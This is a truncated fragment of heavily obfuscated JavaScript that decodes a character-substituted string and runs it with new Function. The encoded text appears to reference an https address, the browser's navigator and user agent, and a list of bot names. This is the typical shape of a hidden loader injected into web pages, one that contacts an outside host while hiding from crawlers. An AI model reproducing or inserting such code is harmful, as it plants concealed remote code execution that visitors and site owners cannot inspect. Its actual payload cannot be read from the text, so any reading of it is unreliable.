280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();